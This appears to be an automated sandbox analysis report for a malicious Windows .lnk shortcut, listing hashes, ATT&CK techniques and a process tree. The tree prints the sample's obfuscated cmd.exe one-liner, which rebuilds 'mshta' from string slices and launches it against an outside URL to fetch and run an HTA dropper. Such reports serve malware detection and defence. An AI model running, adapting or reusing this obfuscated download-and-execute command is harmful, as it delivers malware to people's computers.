52a558ada334741a360a26556b5f9f6938dcc16d1cdab5a029b8b76148bfde83

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:25

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General

Target
DOC-QJZ1HN.lnk
Size 2KB
Sample260804-kbmbcavfpd
SHA256 52a558ada334741a360a26556b5f9f6938dcc16d1cdab5a029b8b76148bfde83
MD5 e81a59557fc5447b07233211babcebc5
SHA1 321021c057650b0b1e5878d79b79bd40b3068ad8
SHA512 3cdadef1e8ae7e8b9b04ba5bff56845b4f998928d8a34d7a4cab74e9ea835b4414a627a75967c9955c6bde11fefea7f4be2cca57bf344c2f3ef4f698beca0924
TLSH
T14141F3802EEE41D8F3BBCE76D9FA6725483BB9525EA4C59D0D40810D1922B11D937B53
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1352	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 4136	1352	cmd.exe	90
PID 4136 wrote to memory of 4660	4136	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-QJZ1HN.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1352
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set TIK=tmpmlqejtmp&&set cx=cacherxyigowcache&&set Bcj=olddxfsold&&set cSlU=tmpxzctyvsrsdrvznmfktmp&&set Bq=eymx&&set uiuY=tlkshx&&set PW=a1qtarw2&&set Bzix=dbgmforixwoshdbg&&set iqYu=8yxstamur&&set xh=frzp&&set fSL=39ctkv0&&set WS=oldiufubajddkupunthtold&&set dTS=winhvawphaokrxjpunwin&&set yiBJF=datuikobcscmdat&&set YCg=https:@/@/m@a@-pdffi@l@[email protected]@a@t@/@h/e@s@tagio@1@.@php?r=391@46@9@FB5D@82DB&&start /b !Bq:~2,1!!uiuY:~3,2!!PW:~3,2! !YCg:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4660

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads